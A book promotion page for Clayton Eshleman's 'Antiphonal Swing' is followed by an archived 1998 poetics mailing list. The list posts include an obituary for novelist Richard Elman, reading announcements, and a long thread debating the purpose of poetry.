Clayton Eshleman / Antiphonal Swing:Selected Prose
Edited by Caryl Eshleman
Introduction by Paul Christensen

Thirty-four essays, interviews and prose poems by this famous poet and translator explore theories of the contextual fabric of World poetry, and describe the development of Eshleman's unique poetic vision in a penetrating reevaluation of the roots of consciousness. This important volume gathers selections from his dialogues with James Hillman as well as introductions from two of his most distinguished volumes of poetry. There is also a discussion of the narrative elements in Upper Paleolithic cave art; a provocative essay on the art of translation; and critical appraisals of such poets and artists as Gary Snyder, Leon Golub, William Bronk, Charles Olson and Allen Ginsberg.

"Organized to highlight Eshleman’s progress from defining his own sphere of freedom by shedding the conventions of thought and behavior that he had been raised with, refining his sense of identity by discriminating himself from his contemporary poets, and lastly, speaking for a poetry that is ever-fresh and vital by being attuned to nature instead of confined and preordained by defending the traditional Protestant worldview. The title suggests the yin/yang dialectic involving such pairs as poetry and prose, and the erotic and the artistic, by which [Eshleman’s] ideas, style, and self developed." — The Small Press Book Review

Published by McPherson & Company, Kingston, New York.
0-914232-94-0, 264 pages, 6 X 9"
Full-color jacket featuring a painting by Nora Jaffe.

"Eshleman’s transformation of experiences into symbolic structures is anything but dreamlike and serene. This selection of critical prose attests not only to the geographic, cultural, chronological and stylistic breadth of Eshleman’s interests but also to his passionate and at times obsessional approach to ‘what matters.’¼How, he asks, can a poet continue to believe in these dreams and make them live in his poems? The answer lies not in trying to solve the dilemma [between past and present] but in looking elsewhere, to the painted caves of southwestern France and northern Spain in whose labyrinth of half-imaginary animals he sees ‘the struggle of Paleolithic people separating the animal out of their thus-to-be human heads.’ These caves bring about some of Eshleman’s most powerful writing, some of it autobiographical, some analytical, some luxuriously descriptive, all of it an integral part of his attempt to develop ‘a vision of the "Paleolithic Imagination" and of the construction of the underworld.’ ¼The very antithesis of a scholarly handbook to the ‘canon- making textbooks’ he so abhors, this attractively edited volume of essays should be read, pondered, and even enjoyed by anyone who cares about ‘what matters.’ ¼Provocative evaluations such as these are the very essence of responsible criticism." — Denver Quarterly

"Eshleman thrives on the atavistic, the traumas of existence, and the strong possibility of gaining healing knowledge from these.... His mythic voice is arguably the strongest of such voices in our time. He is not content to read in books what the terms the life worth living might consist of; he goes where he feels he can establish, by his own lived proof, the nature of human archaeology layer by layer.... He works at archaeological digs, so to speak, but most of the time attempts to transcend his findings, to propose them as evidence of a longer record: the very bloodline linking our postmodern time to its discernible genesis." — Gene Frumkin, Manoa

--- ---

McPherson & Company, Publishers
Post Office Box 1126
Kingston, New York 12402

Special Order Form

_____copy/copies of Antiphonal Swing at the special price of $20 each postpaid

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50. Mark Weiss
(no subject)
Fri 2 Jan 1998

My good friend, the novelist and poet Richard Elman, died of lung cancer on December 29th. He was 63. He was diagnosed three months ago. The doctors had given him two years at the outside, so none of us who loved him were prepared, if preparation is ever possible. Richard acknowledged something like 24 books. There were also several ghost projects, including much of Albert Goldman's biography of Lenny Bruce, and a series of "novelizations" that he churned out for quick cash in the 70's. Film companies, for reasons of their own that I

think have to do with copyright, commission novels based on original screenplays. The books and the films appear simultaneously. These books always sink like stones, usually for good reason. The only one Richard signed was his novelization of Taxi Driver. If you ever spot it on the paperback shelf in a used bookstore grab it--it's better than the movie. I think only two of Richard's books are in print: _Cathedral-Tree-Train and Other Poems_ from Junction Press and _Tar Beach_ from Sun&Moon. Sun&Moon is issuing _Love Handles_ in the fall. The Times, which favored _Tar Beach_ with one of its one paragraph reviews, loved the book, naming it one of the ten best of 1992. But it praised it, oddly, as an "elegant slice-of-life." It's anything but. This may be the only novel ever written in which all of the characters are naked, a boy loses his innocence to a sexy girl angel (in the synagogue, no less), and some of the dialogue is in Sviddish, a combination of Swedish, Swahili and Yiddish. One of Richard's earlier books, _The Menu Cypher,_ was a sequel to _The Breadfruit Lotteries,_ an elegant and straightforward spy story about a Columbia Lit professor who is also a CIA operative. _Lotteries_ did well, so MacMillan picked up the sequel for its spy and mystery offerings. What they got begins with a glossary of food terms and their secret equivalents, followed by a chapter set in the Columbia faculty club, which turns out to be a den of spies speaking in menu cypher. This is hillarious until one of the profs is murdered. Later in the book we listen to the killer's personality dissolve in a series of unanswered telegrams. The crime novel critics were clueless, and MacMillan allowed the book to die. I don't want to suggest that Richard was in any sense self-consciously an experimental writer. He wrote. He wrote a great and formally conventional hollocaust trilogy; a coming-of-age-novel, _Fredi&Shirl&the Kids,_ that reads like a perverse script for a 50's sitcom; _The Poor-House State,_ non-fiction, one of the best things ever written about poverty in America; _Uptight with the Rolling Stones,_ a tour book; _Cocktails at Somoza's,_ journalism from the Nicaraguan revolution and its aftermath; and a lot more. In one of the stories in Richard's collection _Crossing Over_ the protagonist says that not writing is "like eating sawdust." Richard never ate much sawdust. Once he called me in despair, saying that he couldn't write anymore. It had been two weeks. Three days later he called and began, his voice brimming with suppressed delight, and asked, as he often did, if he could read me something (I have had all of _Love Handles_ read to me on the phone, altho I've never seen a word of typescript). It was several chapters of a new novel. In almost thirty years of close friendship I never heard Richard talk about theory. What was he like? Richard and his wife Alice adopted an enormous stray English sheepdog that they named Loki. Loki's body always seemed too large for his mind to control. He was a generous-hearted dog, loyal to a fault, and given to impish pranks, but because of his ungainliness he was always breaking things. It was as if different parts of his body were responding simultaneously to the pull of different stimuli. All of which made domestic life a

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Mark Weiss

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51. Nuyopoman
Mouthy Mondays
Fri 2 Jan 1998

MOUTH MONDAYS start January 5 at Fez (under Time Cafe), 380 Lafayette St (Great Jones). Sponsored by Mouth Almighty Records, the series will run Jan-Feb. Each week begins with a Slam (doors open 7, Slam at 7:30) -- this Monday features Todd Colby, who raised nave at Poetry Project Benefit last night.

Feature is at 9 -- on the 5th that would be Mouth Almightians Sekou Sundiata, The Last Poets, Maggie Estep, Beau Sia, Emily XYZ, Saul Williams, Rah Goddess, and Mike Ladd.

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52. Matt Meighan
purpose in poetry, purpose of poetry
Fri 2 Jan 1998

Bobbie West, testing her new de-lurking device, wrote

> "*What is the purpose of poetry?*"

-- meaning the Poet's purpose, the Poem's purpose, or the purpose of Poetry itself?

e.g., david bromige, referring to his wonderful New Year's Eve poem, wrote

> *Take my New years Eve poem as instance. . . I wanted the piece to dance questions about finitude and its role in creativeness. And I wanted people to appreciate what "five minutes" can be. I wanted to take back the clock. And yes, I wanted a form for my anxiety about running out of time in a larger sense. [and more . . .]*

which speaks about the *poet's* purposes. Those could be anything from wanton manipulation for personal gain ("I Like Ike") to exploration or aggrandizement of the self to bringing something to light or anything else human beings may intend. Or could be non-purpose, simply to sing like the birdies sing, the song emerging because it does

but then any poem may have its own intentions, unknown to, Other than, even at odds with, the poet's. The poet's purpose may thwart the poem's, or succumb to it, or the two may dance, each feeding the pulse of the other, or sing in symbiosis like a tree along a stream

and Poetry, as continuous stream of energy making forms flow from the unseen into the world and back out again like any living or non-living Thing, Poetry in other words as a God, no doubt has its own intentions. what does (not, this poet or this poem), what does Poetry *itself* intend? (like James Hillman writes, What does Love want? Not this woman or that man but what does Love *itself* want???)

Poetry's intentions like the intentions of any God are no doubt a Mystery. We serve a Goddess we can never truly know, existing as we do within her body. Maybe She wants to remind us of something, something we never quite recall except in moments that leave us remembering, at best, only that we remembered. To re-member us or wake us to some possibility or even draw us forward to something not yet ever known

maybe a long study of history to see what She has done, or a close look around us to see what She does would let us say something about her purpose -- *if* we can assume more congruence between her intentions and her effects than we mere mortals enjoy. Maybe we could glimpse it in the aftermath of composition. Perhaps such studies could be acts of veneration. Maybe we could say in faith, She must know what She's doing. Maybe we could confess (as the twelve steps of PA remind us), We are in the throes of a Power greater than ourselves.

maybe porpoise rises, cries out, sinks back into depths, papoose carries the sleeping future, papyrus, maybe a paper on the papacy. Maybe the perfect pose, maybe prophecy

who knows?

- Matthew Meighan

↑ Index

53. Gwyn McVay
/Symmetry/ & other raves
Fri 2 Jan 1998

Lacking Laura Moriarty's address for backchannel, but may as well say it out loud: her collection /Symmetry/, an MLA-bookfair acquisition, is smacking me upside the head in a very good way, much as Jennifer Moxley's /Imagination Verses/ has done.

I wanted one of everything at the Small Press Distribution booth, as at S&M, but would have gone over my airline weight limit and been forced to leave behind a limb or some such. I did also manage to get a copy of Unica Zurn's writings--the panel on her by Pierre Joris & others was amazing-- and discovered that if you allow the "m" for "n" substitution (some anagrammists don't), you can also make her name into "runic Zaum."

Gwyn obviously too much time on her hands McVay

↑ Index

54. Harold Rhenisch
Re: purpose in poetry, purpose of poetry
Fri 2 Jan 1998

> *The purpose of poetry is to achieve Beauty*
> *through the maximally-expressive and sensually-rich use of words.*

Geez, Bob, how do you define Beauty? This seems to me to be either definition by footnotes or definition in need of definition, which cd. keep us talking for weeks, which is a poem. That is to say that yr. defn. is a poem, but as "maximally-expressive" and "sensually-rich" are not maximally-expressive or sensually-rich, this poem of yours has broken its own definition and is wandering somewhere, with its own porpoise.

For Faludy, poetry kept him alive in the work camps.
For many educators, poetry teaches rhetoric.
For some, unintentionally, poetry prevents a poetic revolution in thought;
the teaching of poetry badly can be used to prevent poetry.
Non-Dolphin-friendly Tuna.

> *How about: the best words in the best disorder?<*

Or the best disorder in the best words.

> *Ouch--first typo of '98: Poetry presupposes its own purpure.<*

That settles it. That's the one. Finnegan, you have a charmed keyboard.

While you're on a roll, what is the purpure of Beauty?

--Harold Rhenisch

↑ Index

55. David R. Israel
Re: what purpose
Sat 3 Jan 1998

---

ah --
from pupure to pospose -
the purr of the puss = the purpose?
d.i.

> *Date: Fri, 2 Jan 1998 10:47:27 EST*
> *From: JforJames <[redacted]>*
>
> *In a message dated 98-01-02 10:07:31 EST, you write:*
>
> *Plosively: Poetry presupposes its own purpure.*
>
> *Ouch--first typo of '98: Poetry presupposes its own purpose.*
>
> *Finnegan*

↑ Index

56. David R. Israel
Re: what purpose
Sat 3 Jan 1998

Maria,

this reminds of the idea I think I've heard bandied about (though I'm rather vague on details or even if I have the idea sorta right) that if one draws up an astrology chart of the moment of death, this can point to / be interpreted in terms of / prove of relevans vis-a-vis (or some such) the next-most rebirth.

So (the new musing): the last words - as topic - interesting - re: 1st words . . .

as in "what is the question?" etc. --

d.i.

> *From: Maria Damon <[redacted]>*

> *apparently my older sister's first word was "reflection," after my father repeatedly showed her the way the river (hudson) cast moving squiggles of light on the living room wall, and, of course, in connection w/ this showing, repeated the word "reflection" a number of times. this legend passed into the myth of her general intellectual superiority, which seems to have gone unnoticed by her but absorbed by me, just as the myth of *my* intellectual superiority seems to have gone unnoticed by me but absorbed by her (who pointed it out to me 34 yrs after the supposed fact). i have no idea what my first words were.*

↑ Index

57. **IMBURGIA**

querrry

Sat 3 Jan 1998

Would you have the SPD e-mail add? thanks in advance

↑ Index

58. **Bob Grumman**

Re: purpose in poetry, purpose of poetry

Sat 3 Jan 1998

Harold R wants to know what Beauty is, the dummy, but I got Big Things to do today (and maybe the rest of 1998) so I can't fully say right now. But here's where I start: there's mind and matter, inside and outside; matter is what mind is conscious of, mind is what is conscious of matter; a third property of the universe is affect--how the mind feels about what it is conscious of--and that reduces to pleasure/pain, good/bad. If there's anything I've left out, lemme know.

As for Beauty, it is one form of pleasure--mostly sensual/sensory pleasure but with complications. I haven't straightened it all out, but tend to break pleasure down to Beauty, the Moral Good (or personal/social pleasure), Truth (conceptual pleasure) and Health (all those pleasures having to do with merely surviving).

To get more detailed about Beauty, I conceive it as that which is neither too familiar nor too unfamiliar (and I even mathematize it, although the mathematization is not based on anything empirical). What's too familiar or too unfamiliar varies with the person involved, the context and all kinds of other problems but seems to me not that hard to disentangle in any given case. My primary example would be the Beauty of a musical melody: the best ones jar at first, then become wonderful, then become boring. Yeah, it all sounds simple-minded and maybe is. But there is are for now while I go does my Big Things of the day.

--Bob G.

↑ Index

59. Robert J Tiess
POETFEST
Sat 3 Jan 1998

P O E T F E S T

Poetfest is an ongoing series of free poetry anthologies I publish on the web for the wide world of poetry-lovers.

The new Winter 98 Poetfest Anthology is now online at
http://www.geocities.com/Athens/Acropolis/7101/poetfest.htm

All readers and poets are encouraged to share in the
international Poetfest experience and contribute to the
next collection (Seasons), due out in April 1998. Guidelines
are available at the link above.

A joyful, blessed new year to all my fellow poets, writers, and colleagues.

Robert J. Tiess
[redacted]

↑ Index

60. jarnot
juliana spahr & harryette mullen in nyc
Sat 3 Jan 1998

---

for those in the new york city area:

January 7th 8:00 pm
at the Poetry Project: Juliana Spahr & Harryette Mullen

the poetry project is located at 10th street and 2nd avenue on the lower east side.

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61. Douglas
Re: Richard Elman's death
Sat 3 Jan 1998

I truly appreciate Mark Weiss's personal statements on
Richard Elman.

Richard was a brilliant writer, with an ability to write in many styles and forms. He was at his best, it seems to me, in the wonderful novel TAR BEACH, which combines a beautiful recreation of the past (the characters are atop a synogogue for a summer tan) and an almost visionary sense of new possibility, a sense of future which could be freed from the apparatus of the past--whether it be love, hate or just disappointment. His next book LOVE HANDLES in centered on a character who is a complete failure, on one level, but in his child-like innocence, has the potential to be (as is truly) someone great.

In honor of Richard's memory, Sun & Moon will offer slightly damaged copies of TAR BEACH at $3.00 each.

Richard was also a poet, and this comes strongly across in this remarkable book.

Douglas Messerli

[to order, E-mail me at [redacted] with your name
and address; we will ship and bill]

Mark Weiss wrote:
>
> My good friend, the novelist and poet Richard Elman, died of lung cancer on
> December 29th. He was 63. He was diagnosed three months ago. The doctors
> had given him two years at the outside, so none of us who loved him were
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> his daughters Margaret and Lila. As he lay unconscious in the hospital,
> perhaps beyond hearing, they read his poems to him. I wish I could have
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>
> Mark Weiss

↑ Index

62. **Ctfarmr**

Re: what purpose

Sat 3 Jan 1998

A lot of great responses to this question. And since I've been asked for my own answer, here's the one I gave my friend: The purpose of poetry is to create new pathways in the brain, to stimulate the synapses to keep our minds flexible and our species adaptable. Not that I think this answer is any better than any of the others -- in fact I agree with all of them so far! It's just the one I tell myself when guilt strikes me for spending time writing instead of saving lepers or something.

Happy New Year.

Bobbie West

↑ Index

63. **JforJames**

Re: purpose in poetry, purpose of poetry

Sat 3 Jan 1998

In a message dated 98-01-03 01:52:08 EST, you write:

>
>>Ouch--first typo of '98: Poetry presupposes its own purpure.<
>
>That settles it. That's the one. Finnegan, you have a charmed keyboard.
>
>While you're on a roll, what is the purpure of Beauty?
>
>--Harold Rhenisch
>
My subconscious has always been smarter than me.

Finnegan

↑ Index

64. Bob Grumman
Re: what purpose
Sun 4 Jan 1998

I agree completely with Bobbie West's defense of poetry as something that "create(s) new pathways in the brain, to stimulate the synapses to keep our minds flexible and our species adaptable"--with the reservation that this is a biological value of poetry, not its ultimate value, which is to make us happy via words regardless of what it does for our brains. (And I would speak of "value" rather than "purpose" as I don't believe there's such a thing as purpose, except in the everyday limited sense of doing A to get B.)

--Bob G.

↑ Index

65. aerialedge
Re: what purpose
Sun 4 Jan 1998

Coming late to this thread but to mention Deleuze/Guattari in _What is Philosophy?_ postulate that the purpose of art is to create new experience, the purpose of philosophy to create new concepts, & of science to create new functions. This newness would follow from need, usefulness, rather than from a cliched fetishization of the new.

I remember Cage saying, but have been called on the citation-- "The purpose of art is to add to the enjoyment of life."

I'm not entirely convinced of any of this but they're some of the more interesting ways of approaching this question I've encountered.

Rod Smith

↑ Index

66. **dbkk**

January Readings at SPT

Sun 4 Jan 1998

FIVE POETS ESCAPE FROM NEW YORK TO SMALL PRESS TRAFFIC

Saturday, January 10, 7:30 p.m.

Charles Bernstein
Lisa Jarnot

From Borscht Belt vaudeville to his embrace by the trendy theorists of Paris, Charles Bernstein¹s career has had more ups and downs than Jerry Lewis. But with undimming flash and generosity his poetry speaks with greater force than ever, and it is always an event in our lives as participants in culture to see him read, for his work, always intriguing, at its best reaches the exhilarating glass-green rush and sublimity of Niagara Falls. He is the author of 20 books of poetry (including the newest, _Republics of Reality: Poems 1975-1995_, from Sun & Moon), and two influential books of essays: _A Poetics_ (Harvard University Press, 1992) and _Content's Dream: Essays 1975-1984_ (Sun & Moon Press, 1986, 1994). Bernstein is David Gray Professor of Poetry and Letters at the State University of New York at Buffalo.

Lisa Jarnot¹s first book _Some Other Kind of Mission_ (Burning Deck Press, 1996) made a big splash when it was hurled, like Olympic discus, into the gentle pond of contemporary poetry. Kerplunk! Basho frog! But clever scouts, reading her work in fugitive pieces, and hearing her read aloud, had already touted her as one of the finest young poets in America. She is the editor of the _Poetry Project Newsletter_, and a co-editor of _An Anthology of New (American) Writing_, forthcoming from Talisman House in early 1998. Her work has been published in _Grand Street, Lingo_, and _The World._ She¹s here in San Francisco doing some important work on the life and cosmos of our own Olympian, the late poet Robert Duncan.

New College Theater
777 Valencia Street, San Francisco
$5

Friday, January 16, 7:30 p.m.

Robert Fitterman
Kim Rosenfield

This is a special event that has long been on Small Press Traffic¹s wish list (along with, you know, a new computer and so forth). People think of Robert Fitterman as a kind of ³Language² poet, but he might just be the ultimate heir to the great Objectivists instead, for his epic ³Metropolis² project marries the music, scope, and power of Zukofsky to the historico-narrative-documentary of Charles Reznikoff. Robert Fitterman is the author of five books of poetry, recently including _Ameresque_ (Buck Downs Books). The first book of his long poem, _Metropolis (1-15)_, is forthcoming with Sun & Moon Press. He is the editor/publisher of _Object_ magazine and chapbooks. He is also the co-author, with Rodrigo Rey Rosa, of the film script ³What Sebastian Dreamt.²

Originally from Southern California, Kim Rosenfield comes to us from New York where she writes some of the oddest and loveliest poems I know. Her concern for display and spectacle, her Baudrillardean, ecstatic sweep of language and physicality, balance on the one hand urgency and drama and on the other, the cold finish of stainless steel, the animatronics of Disney and Brigitte Nielsen. Rosenfield is the author of three chapbooks: _Some Of Us_ (Ouija Madness Press), _Rx & Cool Clean Chemistry_ (Leave Books), and _A Self-Guided Walk_ (Object/p o e t s c o o p). Her poetry has appeared in several journals including _Black Bread, Chain, Big Allis, Object, Mirage #4/Period(ical),_ and _Torque._ She is a clinical social worker at New York University.

New College Theater
777 Valencia Street, San Francisco
$5

Monday, January 26, 7:30 p.m.
In conjunction with the San Francisco Art Institute

John Ashbery

We all think we know about John Ashbery, but the new 1998 version promises more than a few surprises. As we know he¹s written sixteen books of poetry, including _Some Trees, The Tennis Court Oath, Self-Portrait in a Convex Mirror, Flow Chart,_ and the most recent, _Can You Hear, Bird_--as well as a volume of art criticism, _Reported Sightings._ As we know he has won the Pulitzer Prize, the National Book Critics Circle Award and the National Book Award; been named a Guggenheim Fellow and a MacArthur Fellow; is a chancellor of the Academy of American Poets. We all know that he hasn¹t read here in San Francisco since 1990 and we¹re happy to join the Art Institute in sponsoring this reading. But it¹s what we _don¹t_ know that intrigues us and never more so than on the 26th, at which date and time JA will preside over the mystic and ambiguous conjunction of Saturn and Venus.

San Francisco Art Institute Auditorium
800 Chestnut Street, San Francisco
$6

↑ Index

67. Mark Wallace
the poetry in purpose?
Sun 4 Jan 1998

Instead of worrying about the purpose of poetry, shouldn't we be wondering whether there's any poetry in purpose? Why should poetry have to defend itself to purpose, rather than the other way around? Poetry has occasioned moments of amazement in my life; purpose has never meant me anything but harm.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

68. David Gitin
Cage reference
Sun 4 Jan 1998

This is a multi-part message in MIME format.

charset="iso-8859-1"

What I recall John saying, quoting A. Coomoraswamy (from THE =
TRANSFORMATION OF NATURE IN ART), is the purpose of art is to 'quiet the
= mind and render it susceptible to divine influence.'

charset="iso-8859-1"

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</HEAD>
<BODY bgColor=3D#ffffff>

<DIV><FONT color=3D#000000 size=3D2>What I recall John saying, quoting
=
A.=20
Coomoraswamy (from THE TRANSFORMATION OF NATURE IN ART), is the
purpose =
of art=20
is to 'quiet the mind and render it susceptible to divine=20
influence.'</FONT></DIV></BODY></HTML>

↑ Index

69. ShaunAnne Tangney Humanities 8-13-1997

Re: request for submissions

Sun 4 Jan 1998

---

to whom it may concern:

i submitted an article ("Labor and Prayer: Making poets, Making Poetry") to _Fourteen Hills_ at the last call for submissions, and have heard nothing in return. if someone could please let me know if my article is under review, or has been rejected, i would greatly appreciate it.

thank you,
shaunanne tangney
minot state university

↑ Index

70. ShaunAnne Tangney Humanities 8-13-1997

oops--

Sun 4 Jan 1998

---

so sorry to have sent that last to the list--sheesh! what a dope! --shaunanne

↑ Index

71. aerialedge

Re: Cage reference

Sun 4 Jan 1998

. . . he said so many thing ya know. . .

>What I recall John saying, quoting A. Coomoraswamy >(from THE TRANSFORMATION
OF NATURE IN ART), is the >purpose of art is to 'quiet the mind and render it susceptible to divine influence.'

↑ Index

72. Sawako Nakayasu

Re: what purpose

Mon 5 Jan 1998

Hey! I've been gone for a week and my "lurking" status on this list has been disrupted by being referred to as "a friend of Bobbie West" which feels altogether strange, so here I am...coming out, if you will. I hooked up with this list right about the time my professor insisted that I write my own "poetics," which I anguished over until he changed the question to "what are poets for?"...much easier to handle.

Your responses to the question were quite enjoyable; thank you. Here's my bit:

Jerry had it right;
Technicians of the Sacred.

Poets are the real historians, as well as its opposite. As well as all occupations in between. Like cartographer. Or a videographer of a documentary about language as it time-travels.

What can "history books" tell about our existence? (not enough)

In another sentence, I could say that a poet is the choreographer of an improvisational language, which implicates all participating words and people in memory, history, and imagination.

> *Thank you all for your valiant efforts to keep the list afloat. I guess >it's my turn to jump into the pool (blame it on Bromige: he told me to stop lurking). Anyway, a friend of mine recently posed the question, "What >is the purpose of poetry?" So how would you answer that?*
>
> *Bobbie West*
> *(testing her new de-lurking device)*

Also: (completely unrelated)

How to guess the gender of Japanese first-names:

Male names often end in -hiko, -ro, -o, or a number, as in -ichi. The first three name endings mean (basically) male, strong, a fine man, etc.

Female names often end in -ko. Which means child.

A few names, like Kaoru or Sakae, are unisex.
The rest, you just have to know or ask.

Sawako

↑ Index

73. Charles Weigl
Re: Cage reference
Mon 5 Jan 1998

---

i thought cage said the purpose of art "is to quiet divine influence and make it susceptible to cheap bourbon." but then i always misread.

> *David Gitin wrote:*
>
> *What I recall John saying, quoting A. Coomoraswamy (from THE TRANSFORMATION OF NATURE IN ART), is the purpose of art is to 'quiet the mind and render it susceptible to divine influence.'*

↑ Index

74. Miekal And
poetry webring
Mon 5 Jan 1998

---

does anyone out there belong to the poetry webring and or know how to join & Im also wondering folks impressions of the ring & whether they think it brings interested visitors to their sites

miekal

↑ Index

75. Miekal And
word processor htmlability
Mon 5 Jan 1998

---

as long as Im in the mode of wondering,

has anyone run into wordprocessors or page layout programs that can save as an html document. I had something for quark at one point but was never able to get it to work. in particular Im interested in turning formatted poems into html documents without all the fiddling....

miekal

whose fiddled far too much in his life

↑ Index

76. Maria Damon
Re: what purpose
Mon 5 Jan 1998

---

yes, i like bobbie's def too; but i also find that once one gets used to a certain "sound," feel, technique, etc., that purpose is less pronounced. i've thus found it

useful to explore other means of experience ("unusual" physical movement as well as conventional "exercise", trying to draw, singing) as well.

At 6:33 AM -0500 1/4/98, Bob Grumman wrote:
>I agree completely with Bobbie West's defense of poetry as something
>that "create(s) new pathways in the brain, to stimulate the synapses to
>keep our minds flexible and our species adaptable"--with the reservation
>that this is a biological value of poetry, not its ultimate value, which
>is to make us happy via words regardless of what it does for our
>brains. (And I would speak of "value" rather than "purpose" as I don't
>believe there's such a thing as purpose, except in the everyday limited
>sense of doing A to get B.)
>
> --Bob G.

↑ Index

77. Maria Damon
Re: what purpose
Mon 5 Jan 1998

---

ooh, this is cool too

At 1:14 PM -0500 1/4/98, [redacted] wrote:
>Coming late to this thread but to mention Deleuze/Guattari in _What is
>Philosophy?_ postulate that the purpose of art is to create new experience,
>the purpose of philosophy to create new concepts, & of science to create new
>functions. This newness would follow from need, usefulness, rather than from
>a cliched fetishization of the new.
>
>I remember Cage saying, but have been called on the citation-- "The purpose
>of art is to add to the enjoyment of life."
>
>I'm not entirely convinced of any of this but they're some of the more
>interesting ways of approaching this question I've encountered.
>
>Rod Smith

↑ Index

78. Maria Damon
fwd from XCP
Mon 5 Jan 1998

From: [redacted]
To: [redacted]

Bcc: Maria Damon <[redacted]>
Date: Sun, 4 Jan 1998 16:54:13 -0500
Subject: Mpls. Reading

Xcp: Cross-Cultural Poetics is sponsoring a reading by Allison Adelle Hedge Coke, author of _Dog Road Woman_, an autobiographical sketch of a contemporary mixed-blood life. It is her debut book, out from Coffee House Press.

For those interested & in the area, the reading will be held at the College of St. Catherine-Mpls., Room 100 (Old Main, basement) on Wednesday, January 7th, 3:00pm. CSC-Mpls. is located at 601 25th Avenue South (just off the US 94 Riverside exit). Please call [redacted] or e-mail me at the address above for more info.

↑ Index

79. Maria Damon
Re: what purpose
Mon 5 Jan 1998

---

amiri baraka has a nice poem, a series of rhetorical questions if i recall, about the "purpose" of poetry. one question is "do you have a mother?" etc . having only heard it once, and not read it, i don't have a reference foryou.

At 11:49 PM -0800 1/4/98, Sawako Nakayasu wrote:
>Hey! I've been gone for a week and my "lurking" status on this list has
>been disrupted by being referred to as "a friend of Bobbie West" which
>feels altogether strange, so here I am...coming out, if you will. I
>hooked up with this list right about the time my professor insisted that
>I write my own "poetics," which I anguished over until he changed the
>question to "what are poets for?"...much easier to handle.
>
>Your responses to the question were quite enjoyable; thank you.
>Here's my bit:
>
>Jerry had it right;
>Technicians of the Sacred.
>
>Poets are the real historians, as well as its opposite. As well as all
>occupations in between. Like cartographer. Or a videographer of a
>documentary about language as it time-travels.
>
>What can "history books" tell about our existence? (not enough)
>
>In another sentence, I could say that a poet is the choreographer of an

>improvisational language, which implicates all participating words and
>people in memory, history, and imagination.
>
>
>>Thank you all for your valiant efforts to keep the list afloat. I guess >it's
>>my turn to jump into the pool (blame it on Bromige: he told me to stop
>>lurking). Anyway, a friend of mine recently posed the question, "What
>>>is the
>>purpose of poetry?" So how would you answer that?
>
>>Bobbie West
>>(testing her new de-lurking device)
>
>
>Also: (completely unrelated)
>
>How to guess the gender of Japanese first-names:
>
>Male names often end in -hiko, -ro, -o, or a number, as in -ichi.
>The first three name endings mean (basically) male, strong, a fine man,
>etc.
>
>Female names often end in -ko. Which means child.
>
>A few names, like Kaoru or Sakae, are unisex.
>The rest, you just have to know or ask.
>
>
>
>Sawako

↑ Index

80. Mark Prejsnar

Good questions without answers

Mon 5 Jan 1998

Not being terribly original, I respond to Bobbie's question in a way much like the majority of other posts....Poetry has reasons which are not reasons but forms of immersion in praxis. Or, to quote (more or less accurately) two of the epigraphs given to recent issues of my magazine Misc. Proj.: "It is not the business of poetry to be anything" (Stephen Rodefer) and "The function of poetry is to waste excess energy" (Rosemarie Waldrop).

Some of the responses have been especially nice. Like a number of other people I like Mark Wallace's response and Bobbie's own formulation about creating new neural pathways...

This being said, it occurs to me that folks on listservs about music (for instance) almost never ask, What is the purpose of music? (Ditto painting, theater, etc...) That it's fairly common for the question to arise among poetry people has to do with social function and definition. (In our culture, music is felt to be self-evident, poetry to be artificial and needing justification..)

As with asking the question itself, so Bobbie's answer also presents problems more interesting and fecund than its surface meaning...Seems to me doing philosophy, engaging in education, experiencing music , dance, sculpture, etc. all create new neural pathways. (Admittedly, poetry's the most interesting way to do so! but then I would think that, wouldn't I?) So as before, the important level really is: why do we feel a need to explicate poetry's function? Most similar human activities are felt to exist as nodes of facticity..We do 'em because we do 'em.

Poetry is one of the most self-doubting of activities, in U.S. culture. That's in some respects appalling. But it also carries some positive things...To quote one of the epigraphs under consideration for the next issue of Misc. Proj.: "Doubt can move mountains. Of all things certain, doubt is the surest." (Brecht)

In any event, Bobbie's question strikes me as a great example of how productive and useful questions can be, which don't have answers...

Mark P.
atlanta

↑ Index

81. Henry Gould

Re: Good questions without answers

Mon 5 Jan 1998

On Mon, 5 Jan 1998 10:01:16 -0500 Mark Prejsnar said:
>
>Poetry is one of the most self-doubting of activities, in U.S. culture.
>That's in some respects appalling. But it also carries some positive
>things...To quote one of the epigraphs under consideration for the next
>issue of Misc. Proj.: "Doubt can move mountains. Of all things certain,
>doubt is the surest." (Brecht)

The certainty of doubt is one of its weak points.
Doubt can move mountains - faith invents them (out of emerald molehills).
- Henry "Georgie Berkeley" Gould

↑ Index

82. Alan Myouka Sondheim

Re: Good questions without answers

Mon 5 Jan 1998

---

poetry is primordial, the stuff of sound and sense
it predates syntax, semantics
you might make haiku out of protolanguage
you might not
you might chant the body which is where the rhythm goes
the rhyme goes
what calls attention to the stuff of language or
its revolution, ability to surface
so that you're n o longer skimming prose
living in one or another of Faulkner's characters
who wants to anyway
nor are you putting quotation marks "" around "everything"
it's not the reification of language
but the stuff of the world that emerges
it's the vomit of the world
some poets like shelley see both sides at once
some poets like shelley see absolutely nothing
because it isn't sight
but those internal crags, beats of the heart
it's useless, poetry is, which is its strength, that is,
it rarely contributes to _meaning,_
it doesn't have to mean anything at all,
it's not anti-meaning either
it burrows into the body and through the ground
coming out in the desert maybe or the forest
where you used to be able to hear some sort of pounding
or scuttling in the underbrush
so that it's, you can can, the tcp/ip of language,
protocols ignoring the surface
but a tcp/ip that's quite inexact, as if there were no realms
or taxonomies, no definitive articulations
maybe the kenning or haiku again for that matter
stuffing language here and there so that it explodes,
implodes, stuff - there's also the matter of the breath,
it's been breathing, everyone knows that,
it returns as if language were once and for all something absolutely new

in the world, gesturing around the hill as Tran Duc Thao might say, where the game is

↑ Index

83. Miekal And

Re: poetry webring

Mon 5 Jan 1998

> *4) Yes, it does bring visitors to my site.*
>
> *Catherine Daly*

catherine

I
guess
Im
wondering
if surfing
this ring is
something that
is interesting
ie can anyone
navigate thru a maze
of sites & find what
is interesting to them
whether experimental or
rhymed couplets?

is the webring a way for
sites to collaborate with each other?

is there a selection process with
the ring or is open to anyone?

is there topical ways to surf thru
a series of sites--such as the nature poem tour,
the apocalyptic tour, limerick tour, palindrome tour?

Im interested in linking spidertangle wordround, an online workshop in hyper-writing, & Im looking to create ways to get alot of interactivity & am also looking for involvement with writing of all styles & all calibre.....

miekal

↑ Index

84. Judy Roitman
Re: Good questions without answers
Mon 5 Jan 1998

